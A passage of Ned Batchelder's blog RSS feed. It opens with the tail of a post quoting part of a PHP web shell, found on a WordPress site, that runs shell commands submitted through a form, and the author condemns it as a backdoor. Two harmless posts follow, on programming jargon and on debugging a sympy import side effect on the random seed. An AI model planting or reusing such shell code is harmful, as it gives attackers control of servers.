<br>&#xA0;&#xA0;&#xA0;&#xA0;<span class="k">echo</span>&#xA0;<span class="s2">&quot;&lt;input&#xA0;type=text&#xA0;name=cmd&#xA0;value=</span><span class="se">\&quot;</span><span class="s2">&quot;</span><span class="o">.</span><span class="nb">str_replace</span><span class="p">(</span><span class="s2">&quot;</span><span class="se">\&quot;</span><span class="s2">&quot;</span><span class="p">,</span><span class="s2">&quot;&amp;quot;&quot;</span><span class="p">,</span><span class="nv">$cmd</span><span class="p">)</span><span class="o">.</span><span class="s2">&quot;</span><span class="se">\&quot;</span><span class="s2">&#xA0;size=150&gt;&quot;</span><span class="p">;</span>
<br>&#xA0;&#xA0;&#xA0;&#xA0;<span class="k">echo</span>&#xA0;<span class="s2">&quot;&lt;input&#xA0;type=hidden&#xA0;name=enc&#xA0;value=&#39;0&#39;&gt;&quot;</span><span class="p">;</span>
<br>&#xA0;&#xA0;&#xA0;&#xA0;<span class="k">echo</span>&#xA0;<span class="s2">&quot;&lt;input&#xA0;type=hidden&#xA0;name=cmd_enc&#xA0;value=&#39;&#39;&gt;&quot;</span><span class="p">;</span>
<br>&#xA0;&#xA0;&#xA0;&#xA0;<span class="k">echo</span>&#xA0;<span class="s2">&quot;&lt;input&#xA0;type=submit&#xA0;name=B_SUBMIT&#xA0;value=&#39;Go&#39;&gt;&quot;</span><span class="p">;</span>
<br>&#xA0;&#xA0;&#xA0;&#xA0;<span class="k">echo</span>&#xA0;<span class="s2">&quot;&lt;/form&gt;&quot;</span><span class="p">;</span>
<br>&#xA0;&#xA0;&#xA0;&#xA0;<span class="k">if</span>&#xA0;<span class="p">(</span><span class="nv">$cmd</span>&#xA0;<span class="o">!=</span>&#xA0;<span class="s2">&quot;&quot;</span><span class="p">)</span>&#xA0;<span class="p">{</span>
<br>&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;<span class="k">echo</span>&#xA0;<span class="s2">&quot;&lt;pre&gt;&quot;</span><span class="p">;</span>
<br>&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;<span class="nv">$cmd</span><span class="o">=</span><span class="nb">stripslashes</span><span class="p">(</span><span class="nv">$cmd</span><span class="p">);</span>
<br>&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;<span class="k">echo</span>&#xA0;<span class="s2">&quot;Executing&#xA0;</span><span class="si">$cmd</span><span class="s2">&#xA0;</span><span class="se">\n</span><span class="s2">&quot;</span><span class="p">;</span>
<br>&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;<span class="k">echo</span>&#xA0;<span class="nx">myshellexec</span><span class="p">(</span><span class="s2">&quot;</span><span class="si">$cmd</span><span class="s2">&quot;</span><span class="p">);</span>
<br>&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;<span class="k">echo</span>&#xA0;<span class="s2">&quot;&lt;/pre&gt;&quot;</span><span class="p">;</span>
<br>&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;<span class="k">exit</span><span class="p">;</span>
<br>&#xA0;&#xA0;&#xA0;&#xA0;<span class="p">}</span>
<br><span class="p">}</span>
<br></tt></blockquote><p>As you can quickly see, this is a nasty piece of work: it takes commands from
    the client and will execute PHP code, or SQL, or OS shell commands.  I don't
    understand all the back and forth of the forms handling here, but it doesn't 
    matter, it's clearly intended to let a remote attacker have his way on your
    machine.  Bad stuff.</p><p>I wonder if a Wordpress installation could be checked for malware by looking for
    files that are too high a proportion of base64-encoded text?</p><p>I told my mom to remove the file, but I suspect there will be more cleaning up to do...</p>
]]></description>
	</item>
	
	<item rdf:about="http://nedbatchelder.com/blog/201302/getting_started_with_programming_terminology.html">
		<title>Getting started with programming terminology</title>
		<link>http://nedbatchelder.com/blog/201302/getting_started_with_programming_terminology.html</link>
		
		<dc:date>2013-02-17T14:51:45-05:00</dc:date>
		<dc:creator>Ned Batchelder</dc:creator>
		<description><![CDATA[<p>I sat in on a beginner's programming class a few weeks ago, and I was
        struck by the bizarre words we routinely use, but which must sound
        like nonsense to beginners.</p><p>Take the simple program:</p><blockquote class="code"><tt><span class="k">print</span>&#xA0;<span class="s">&quot;Hello,&#xA0;world!&quot;</span>
<br></tt></blockquote><p>What is the word "print" doing here?  Printing means to produce marks
        on a piece of paper.  There's no paper involved.  And "Hello, world!"
        is a string?  It certainly doesn't look like a piece of string.</p><p>Expressions have no range of emotion at all, arguments aren't debating 
        anything.  Comprehensions are incomprehensible, floats just lie there.
        You can't put a price on values, dictionaries have no order.</p><p>It's no wonder beginners think we're all nuts.</p>
]]></description>
	</item>
	
	<item rdf:about="http://nedbatchelder.com/blog/201302/hunting_a_random_bug.html">
		<title>Hunting a random() bug</title>
		<link>http://nedbatchelder.com/blog/201302/hunting_a_random_bug.html</link>
		
		<dc:date>2013-02-14T20:11:52-05:00</dc:date>
		<dc:creator>Ned Batchelder</dc:creator>
		<description><![CDATA[<p>At <a class="offsite" href="http://edx.org">edX</a>, we have Python behind the scenes in
        courses to initialize the state of problems presented to students.
        Often, these problems are randomized so that different students will
        see different details in quantitative problems, but each student's
        random seed is saved so that the student will see the same problem
        if they revisit the page.</p><p>The seed is used to seed the random module before executing any chunk of
        course Python, so that you can simply use the random module and know
        that you'll get an appropriate value.</p><p>Today I found code like this in a course:</p><blockquote class="code"><tt><span class="kn">import</span>&#xA0;<span class="nn">q</span>
<br><span class="n">random</span><span class="o">.</span><span class="n">seed</span><span class="p">(</span><span class="n">the_seed</span><span class="p">)</span>
<br><span class="c">#&#xA0;...&#xA0;generate&#xA0;the&#xA0;problem&#xA0;...</span>
<br></tt></blockquote><p>My task was to refactor how information flowed around, and the_seed
        wasn't going to be available, so I asked why the code was like this.
        It seemed odd, because the random module had just been seeded before
        this code was invoked, so why had the author bothered to re-seed the
        module with the same seed?</p><p>The answer was that it was a mysterious bug from months ago where the
        first time the code was run, it would produce a different result than
        any other time, and the re-seeding solved it.  The q import seemed to
        be messing with the random seed, but only the first time.</p><p>The "only first time" clue pointed to it being code that is run on
        import.  Remember, Python modules are just a series of statements, and
        when you import a module, it really executes all the statements.
        There's no "import mode" that just collects function definitions.  If
        you write a statement with a side effect at the top level of a module,
        that side effect will happen when you import the module.</p><p>But statements in module are only executed the first time the module is
        imported in a process.  Subsequent imports simply produce another
        reference to the existing module object.  Everything pointed to a
        statement running during import which stomped on the random module.</p><p>The q module imported a number of other modules, including numpy and
        sympy.  But why would importing a module re-seed the random module?</p><p>A little experimenting showed that sympy was at fault here:</p><blockquote class="code"><tt><span class="n">Python</span>&#xA0;<span class="mf">2.7</span><span class="o">.</span><span class="mi">3</span>&#xA0;<span class="p">(</span><span class="n">default</span><span class="p">,</span>&#xA0;<span class="n">Aug</span>&#xA0;&#xA0;<span class="mi">1</span>&#xA0;<span class="mi">2012</span><span class="p">,</span>&#xA0;<span class="mo">05</span><span class="p">:</span><span class="mi">16</span><span class="p">:</span><span class="mo">07</span><span class="p">)</span>&#xA0;
<br><span class="p">[</span><span class="n">GCC</span>&#xA0;<span class="mf">4.6</span><span class="o">.</span><span class="mi">3</span><span class="p">]</span>&#xA0;<span class="n">on</span>&#xA0;<span class="n">linux2</span>
<br><span class="n">Type</span>&#xA0;<span class="s">&quot;help&quot;</span><span class="p">,</span>&#xA0;<span class="s">&quot;copyright&quot;</span><span class="p">,</span>&#xA0;<span class="s">&quot;credits&quot;</span>&#xA0;<span class="ow">or</span>&#xA0;<span class="s">&quot;license&quot;</span>&#xA0;<span class="k">for</span>&#xA0;<span class="n">more</span>&#xA0;<span class="n">information</span><span class="o">.</span>
<br><span class="o">&gt;&gt;&gt;</span>&#xA0;<span class="c">#&#xA0;Some&#xA0;baseline&#xA0;data</span>
<br><span class="o">&gt;&gt;&gt;</span>&#xA0;<span class="kn">import</span>&#xA0;<span class="nn">random</span>
<br><span class="o">&gt;&gt;&gt;</span>&#xA0;<span class="n">random</span><span class="o">.</span><span class="n">seed</span><span class="p">(</span><span class="mi">17</span><span class="p">)</span>
<br><span class="o">&gt;&gt;&gt;</span>&#xA0;<span class="n">random</span><span class="o">.</span><span class="n">random</span><span class="p">()</span>
<br><span class="mf">0.5219839097124932</span>
<br><span class="o">&gt;&gt;&gt;</span>&#xA0;<span class="n">random</span><span class="o">.</span><span class="n">random</span><span class="p">()</span>
<br><span class="mf">0.8066907771186791</span>
<br><span class="o">&gt;&gt;&gt;</span>&#xA0;<span class="n">random</span><span class="o">.</span><span class="n">random</span><span class="p">()</span>
<br><span class="mf">0.9604947743238768</span>
<br><span class="o">&gt;&gt;&gt;</span>&#xA0;<span class="n">random</span><span class="o">.</span><span class="n">random</span><span class="p">()</span>
<br><span class="mf">0.2896253777644655</span>
<br><span class="o">&gt;&gt;&gt;</span>&#xA0;
<br><span class="o">&gt;&gt;&gt;</span>&#xA0;<span class="c">#&#xA0;Re-seed,&#xA0;and&#xA0;import&#xA0;sympy</span>
<br><span class="o">&gt;&gt;&gt;</span>&#xA0;<span class="n">random</span><span class="o">.</span><span class="n">seed</span><span class="p">(</span><span class="mi">17</span><span class="p">)</span>
<br><span class="o">&gt;&gt;&gt;</span>&#xA0;<span class="kn">import</span>&#xA0;<span class="nn">sympy</span>
<br><span class="o">&gt;&gt;&gt;</span>&#xA0;<span class="n">random</span><span class="o">.</span><span class="n">random</span><span class="p">()</span>
<br><span class="mf">0.8066907771186791</span>
<br><span class="o">&gt;&gt;&gt;</span>
<br></tt></blockquote><p>Looking at the values, after importing sympy, we've skipped ahead one
        number in our random sequence.  So sympy isn't re-seeding the generator,
        it's consuming a random number.</p><p>To find out where, we resorted to a monkey-patching trick:  Replace
        random.random with a booby-trap:</p><blockquote class="code"><tt><span class="n">Python</span>&#xA0;<span class="mf">2.7</span><span class="o">.</span><span class="mi">3</span>&#xA0;<span class="p">(</span><span class="n">default</span><span class="p">,</span>&#xA0;<span class="n">Aug</span>&#xA0;&#xA0;<span class="mi">1</span>&#xA0;<span class="mi">2012</span><span class="p">,</span>&#xA0;<span class="mo">05</span><span class="p">:</span><span class="mi">16</span><span class="p">:</span><span class="mo">07</span><span class="p">)</span>&#xA0;
<br><span class="p">[</span><span class="n">GCC</span>&#xA0;<span class="mf">4.6</span><span class="o">.</span><span class="mi">3</span><span class="p">]</span>&#xA0;<span class="n">on</span>&#xA0;<span class="n">linux2</span>
<br><span class="n">Type</span>&#xA0;<span class="s">&quot;help&quot;</span><span class="p">,</span>&#xA0;<span class="s">&quot;copyright&quot;</span><span class="p">,</span>&#xA0;<span class="s">&quot;credits&quot;</span>&#xA0;<span class="ow">or</span>&#xA0;<span class="s">&quot;license&quot;</span>&#xA0;<span class="k">for</span>&#xA0;<span class="n">more</span>&#xA0;<span class="n">information</span><span class="o">.</span>
<br><span class="o">&gt;&gt;&gt;</span>&#xA0;<span class="kn">import</span>&#xA0;<span class="nn">random</span>
<br><span class="o">&gt;&gt;&gt;</span>&#xA0;<span class="n">random</span><span class="o">.</span><span class="n">random</span>&#xA0;<span class="o">=</span>&#xA0;<span class="k">lambda</span><span class="p">:</span>&#xA0;<span class="mi">1</span><span class="o">/</span><span class="mi">0</span>
<br><span class="o">&gt;&gt;&gt;</span>&#xA0;<span class="kn">import</span>&#xA0;<span class="nn">sympy</span>
<br><span class="n">Traceback</span>&#xA0;<span class="p">(</span><span class="n">most</span>&#xA0;<span class="n">recent</span>&#xA0;<span class="n">call</span>&#xA0;<span class="n">last</span><span class="p">):</span>
<br>&#xA0;&#xA0;<span class="n">File</span>&#xA0;<span class="s">&quot;&lt;stdin&gt;&quot;</span><span class="p">,</span>&#xA0;<span class="n">line</span>&#xA0;<span class="mi">1</span><span class="p">,</span>&#xA0;<span class="ow">in</span>&#xA0;<span class="o">&lt;</span><span class="n">module</span><span class="o">&gt;</span>
<br>&#xA0;&#xA0;<span class="n">File</span>&#xA0;<span class="s">&quot;/venv/lib/python2.7/site-packages/sympy/__init__.py&quot;</span><span class="p">,</span>&#xA0;<span class="n">line</span>&#xA0;<span class="mi">20</span><span class="p">,</span>&#xA0;<span class="ow">in</span>&#xA0;<span class="o">&lt;</span><span class="n">module</span><span class="o">&gt;</span>
<br>&#xA0;&#xA0;&#xA0;&#xA0;<span class="kn">from</span>&#xA0;<span class="nn">sympy.core</span>&#xA0;<span class="kn">import</span>&#xA0;<span class="o">*</span>
<br>&#xA0;&#xA0;<span class="n">File</span>&#xA0;<span class="s">&quot;/venv/lib/python2.7/site-packages/sympy/core/__init__.py&quot;</span><span class="p">,</span>&#xA0;<span class="n">line</span>&#xA0;<span class="mi">8</span><span class="p">,</span>&#xA0;<span class="ow">in</span>&#xA0;<span class="o">&lt;</span><span class="n">module</span><span class="o">&gt;</span>
<br>&#xA0;&#xA0;&#xA0;&#xA0;<span class="kn">from</span>&#xA0;<span class="nn">expr</span>&#xA0;<span class="kn">import</span>&#xA0;<span class="n">Expr</span><span class="p">,</span>&#xA0;<span class="n">AtomicExpr</span>
<br>&#xA0;&#xA0;<span class="n">File</span>&#xA0;<span class="s">&quot;/venv/lib/python2.7/site-packages/sympy/core/expr.py&quot;</span><span class="p">,</span>&#xA0;<span class="n">line</span>&#xA0;<span class="mi">2020</span><span class="p">,</span>&#xA0;<span class="ow">in</span>&#xA0;<span class="o">&lt;</span><span class="n">module</span><span class="o">&gt;</span>
<br>&#xA0;&#xA0;&#xA0;&#xA0;<span class="kn">from</span>&#xA0;<span class="nn">mul</span>&#xA0;<span class="kn">import</span>&#xA0;<span class="n">Mul</span>
<br>&#xA0;&#xA0;<span class="n">File</span>&#xA0;<span class="s">&quot;/venv/lib/python2.7/site-packages/sympy/core/mul.py&quot;</span><span class="p">,</span>&#xA0;<span class="n">line</span>&#xA0;<span class="mi">1197</span><span class="p">,</span>&#xA0;<span class="ow">in</span>&#xA0;<span class="o">&lt;</span><span class="n">module</span><span class="o">&gt;</span>
<br>&#xA0;&#xA0;&#xA0;&#xA0;<span class="kn">from</span>&#xA0;<span class="nn">numbers</span>&#xA0;<span class="kn">import</span>&#xA0;<span class="n">Rational</span><span class="p">,</span>&#xA0;<span class="n">igcd</span>
<br>&#xA0;&#xA0;<span class="n">File</span>&#xA0;<span class="s">&quot;/venv/lib/python2.7/site-packages/sympy/core/numbers.py&quot;</span><span class="p">,</span>&#xA0;<span class="n">line</span>&#xA0;<span class="mi">1993</span><span class="p">,</span>&#xA0;<span class="ow">in</span>&#xA0;<span class="o">&lt;</span><span class="n">module</span><span class="o">&gt;</span>
<br>&#xA0;&#xA0;&#xA0;&#xA0;<span class="kn">from</span>&#xA0;<span class="nn">function</span>&#xA0;<span class="kn">import</span>&#xA0;<span class="n">FunctionClass</span>
<br>&#xA0;&#xA0;<span class="n">File</span>&#xA0;<span class="s">&quot;/venv/lib/python2.7/site-packages/sympy/core/function.py&quot;</span><span class="p">,</span>&#xA0;<span class="n">line</span>&#xA0;<span class="mi">43</span><span class="p">,</span>&#xA0;<span class="ow">in</span>&#xA0;<span class="o">&lt;</span><span class="n">module</span><span class="o">&gt;</span>
<br>&#xA0;&#xA0;&#xA0;&#xA0;<span class="kn">from</span>&#xA0;<span class="nn">sympy.utilities</span>&#xA0;<span class="kn">import</span>&#xA0;<span class="n">default_sort_key</span>
<br>&#xA0;&#xA0;<span class="n">File</span>&#xA0;<span class="s">&quot;/venv/lib/python2.7/site-packages/sympy/utilities/__init__.py&quot;</span><span class="p">,</span>&#xA0;<span class="n">line</span>&#xA0;<span class="mi">13</span><span class="p">,</span>&#xA0;<span class="ow">in</span>&#xA0;<span class="o">&lt;</span><span class="n">module</span><span class="o">&gt;</span>
<br>&#xA0;&#xA0;&#xA0;&#xA0;<span class="kn">from</span>&#xA0;<span class="nn">runtests</span>&#xA0;<span class="kn">import</span>&#xA0;<span class="n">test</span><span class="p">,</span>&#xA0;<span class="n">doctest</span>
<br>&#xA0;&#xA0;<span class="n">File</span>&#xA0;<span class="s">&quot;/venv/lib/python2.7/site-packages/sympy/utilities/runtests.py&quot;</span><span class="p">,</span>&#xA0;<span class="n">line</span>&#xA0;<span class="mi">472</span><span class="p">,</span>&#xA0;<span class="ow">in</span>&#xA0;<span class="o">&lt;</span><span class="n">module</span><span class="o">&gt;</span>
<br>&#xA0;&#xA0;&#xA0;&#xA0;<span class="k">class</span>&#xA0;<span class="nc">SymPyTests</span><span class="p">(</span><span class="nb">object</span><span class="p">):</span>
<br>&#xA0;&#xA0;<span class="n">File</span>&#xA0;<span class="s">&quot;/venv/lib/python2.7/site-packages/sympy/utilities/runtests.py&quot;</span><span class="p">,</span>&#xA0;<span class="n">line</span>&#xA0;<span class="mi">475</span><span class="p">,</span>&#xA0;<span class="ow">in</span>&#xA0;<span class="n">SymPyTests</span>
<br>&#xA0;&#xA0;&#xA0;&#xA0;<span class="n">seed</span><span class="o">=</span><span class="n">random</span><span class="o">.</span><span class="n">random</span><span class="p">()):</span>
<br>&#xA0;&#xA0;<span class="n">File</span>&#xA0;<span class="s">&quot;&lt;stdin&gt;&quot;</span><span class="p">,</span>&#xA0;<span class="n">line</span>&#xA0;<span class="mi">1</span><span class="p">,</span>&#xA0;<span class="ow">in</span>&#xA0;<span class="o">&lt;</span><span class="k">lambda</span><span class="o">&gt;</span>
<br><span class="ne">ZeroDivisionError</span><span class="p">:</span>&#xA0;<span class="n">integer</span>&#xA0;<span class="n">division</span>&#xA0;<span class="ow">or</span>&#xA0;<span class="n">modulo</span>&#xA0;<span class="n">by</span>&#xA0;<span class="n">zero</span>
<br></tt></blockquote><p>OK, not sure why it's importing its tests when I try to use the package,
        but looking at the code, here's the culprit:</p><blockquote class="code"><tt><span class="k">class</span>&#xA0;<span class="nc">SymPyTests</span><span class="p">(</span><span class="nb">object</span><span class="p">):</span>
<br>&#xA0;&#xA0;&#xA0;&#xA0;<span class="k">def</span>&#xA0;<span class="nf">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span>&#xA0;<span class="o">...</span><span class="p">,</span>&#xA0;<span class="n">seed</span><span class="o">=</span><span class="n">random</span><span class="o">.</span><span class="n">random</span><span class="p">()):</span>
<br>&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;<span class="c">#...</span>
<br>&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;<span class="bp">self</span><span class="o">.</span><span class="n">_seed</span>&#xA0;<span class="o">=</span>&#xA0;<span class="n">seed</span>
<br></tt></blockquote><p>Here we can see the problem.  Remember that function arguments are
        computed once, when the function is defined.  Since this function is
        defined when the module is imported, random.random() will be called
        during import, consuming one of our random numbers.</p><p>Better would be to define it like this:</p><blockquote class="code"><tt><span class="k">class</span>&#xA0;<span class="nc">SymPyTests</span><span class="p">(</span><span class="nb">object</span><span class="p">):</span>
<br>&#xA0;&#xA0;&#xA0;&#xA0;<span class="k">def</span>&#xA0;<span class="nf">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span>&#xA0;<span class="o">...</span><span class="p">,</span>&#xA0;<span class="n">seed</span><span class="o">=</span><span class="bp">None</span><span class="p">):</span>
<br>&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;<span class="c">#...</span>
<br>&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;<span class="bp">self</span><span class="o">.</span><span class="n">_seed</span>&#xA0;<span class="o">=</span>&#xA0;<span class="n">seed</span>
<br>&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;<span class="k">if</span>&#xA0;<span class="bp">self</span><span class="o">.</span><span class="n">_seed</span>&#xA0;<span class="ow">is</span>&#xA0;<span class="bp">None</span><span class="p">:</span>
<br>&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;<span class="bp">self</span><span class="o">.</span><span class="n">_seed</span>&#xA0;<span class="o">=</span>&#xA0;<span class="n">random</span><span class="o">.</span><span class="n">random</span><span class="p">()</span>
<br></tt></blockquote><p>I'm not quite sure which behavior the author wanted, one seed for all
        the instances, or one seed per instance.  I know I don't want importing
        this module to change my random number sequence.</p><p>Amusingly enough, the behavior of the initializer is irrelevant, it's
        only called in one place, and never defaults the seed argument:</p><blockquote class="code"><tt><span class="k">def</span>&#xA0;<span class="nf">test</span><span class="p">(</span><span class="o">*</span><span class="n">paths</span><span class="p">,</span>&#xA0;<span class="o">**</span><span class="n">kwargs</span><span class="p">):</span>
<br>&#xA0;&#xA0;&#xA0;&#xA0;<span class="o">...</span>
<br>&#xA0;&#xA0;&#xA0;&#xA0;<span class="n">seed</span>&#xA0;<span class="o">=</span>&#xA0;<span class="n">kwargs</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="s">&quot;seed&quot;</span><span class="p">,</span>&#xA0;<span class="bp">None</span><span class="p">)</span>
<br>&#xA0;&#xA0;&#xA0;&#xA0;<span class="k">if</span>&#xA0;<span class="n">seed</span>&#xA0;<span class="ow">is</span>&#xA0;<span class="bp">None</span><span class="p">:</span>
<br>&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;<span class="n">seed</span>&#xA0;<span class="o">=</span>&#xA0;<span class="n">random</span><span class="o">.</span><span class="n">randrange</span><span class="p">(</span><span class="mi">100000000</span><span class="p">)</span>
<br>&#xA0;&#xA0;&#xA0;&#xA0;<span class="n">t</span>&#xA0;<span class="o">=</span>&#xA0;<span class="n">SymPyTests</span><span class="p">(</span><span class="o">...</span><span class="p">,</span>&#xA0;<span class="n">seed</span><span class="p">)</span>
<br></tt></blockquote><p>The best solution for our code would be to not rely on the module-level
        random number sequence, and instead use our own Random object. Come to 
        think of it, that's what sympy should do too.</p><p>BTW, looking at why sympy is importing test infrastructure when I import
        it, there's this in sympy/utilities/__init__.py:</p><blockquote class="code"><tt><span class="sd">&quot;&quot;&quot;Some&#xA0;utilities&#xA0;that&#xA0;may&#xA0;help.</span>
<br><span class="sd">&quot;&quot;&quot;</span>
<br><span class="kn">from</span>&#xA0;<span class="nn">iterables</span>&#xA0;<span class="kn">import</span>&#xA0;<span class="p">(</span><span class="n">flatten</span><span class="p">,</span>&#xA0;<span class="n">group</span><span class="p">,</span>&#xA0;<span class="n">take</span><span class="p">,</span>&#xA0;<span class="n">subsets</span><span class="p">,</span>
<br>&#xA0;&#xA0;&#xA0;&#xA0;<span class="n">variations</span><span class="p">,</span>&#xA0;<span class="n">numbered_symbols</span><span class="p">,</span>&#xA0;<span class="n">cartes</span><span class="p">,</span>&#xA0;<span class="n">capture</span><span class="p">,</span>&#xA0;<span class="n">dict_merge</span><span class="p">,</span>
<br>&#xA0;&#xA0;&#xA0;&#xA0;<span class="n">postorder_traversal</span><span class="p">,</span>&#xA0;<span class="n">preorder_traversal</span><span class="p">,</span>&#xA0;<span class="n">interactive_traversal</span><span class="p">,</span>
<br>&#xA0;&#xA0;&#xA0;&#xA0;<span class="n">prefixes</span><span class="p">,</span>&#xA0;<span class="n">postfixes</span><span class="p">,</span>&#xA0;<span class="n">sift</span><span class="p">,</span>&#xA0;<span class="n">topological_sort</span><span class="p">)</span>
<br>
<br><span class="kn">from</span>&#xA0;<span class="nn">lambdify</span>&#xA0;<span class="kn">import</span>&#xA0;<span class="n">lambdify</span>
<br><span class="kn">from</span>&#xA0;<span class="nn">source</span>&#xA0;<span class="kn">import</span>&#xA0;<span class="n">source</span>
<br>
<br><span class="kn">from</span>&#xA0;<span class="nn">decorator</span>&#xA0;<span class="kn">import</span>&#xA0;<span class="n">threaded</span><span class="p">,</span>&#xA0;<span class="n">xthreaded</span>
<br>
<br><span class="kn">from</span>&#xA0;<span class="nn">runtests</span>&#xA0;<span class="kn">import</span>&#xA0;<span class="n">test</span><span class="p">,</span>&#xA0;<span class="n">doctest</span>
<br>
<br><span class="kn">from</span>&#xA0;<span class="nn">cythonutils</span>&#xA0;<span class="kn">import</span>&#xA0;<span class="n">cythonized</span>
<br><span class="kn">from</span>&#xA0;<span class="nn">timeutils</span>&#xA0;<span class="kn">import</span>&#xA0;<span class="n">timed</span>
<br>
<br><span class="kn">from</span>&#xA0;<span class="nn">misc</span>&#xA0;<span class="kn">import</span>&#xA0;<span class="n">default_sort_key</span>
<br></tt></blockquote><p>This makes using utilities very convenient, since it contains everything
        at the top level.  But the downside is it means you must always take
        everything.  There is no way to import only part of utilities.  Even if
        you use "from utilities.lambdify import lambdify," Python will execute
        the utilities/__init__.py file, importing everything.</p><p>Lessons:</p><ul>
        <li>Modules really execute when imported,</li>
        <li>Function defaults are computed once when the function is defined,</li>
        <li>Modifying global state like the random module's implicit sequence is bad,</li>
        <li>Importing stuff into __init__.py makes your code monolithic and harder to use as you want, and</li>
        <li>Monkey-patching can be a great way to debug problems.</li>
    </ul>
]]></description>
	</item>
	
</rdf:RDF>
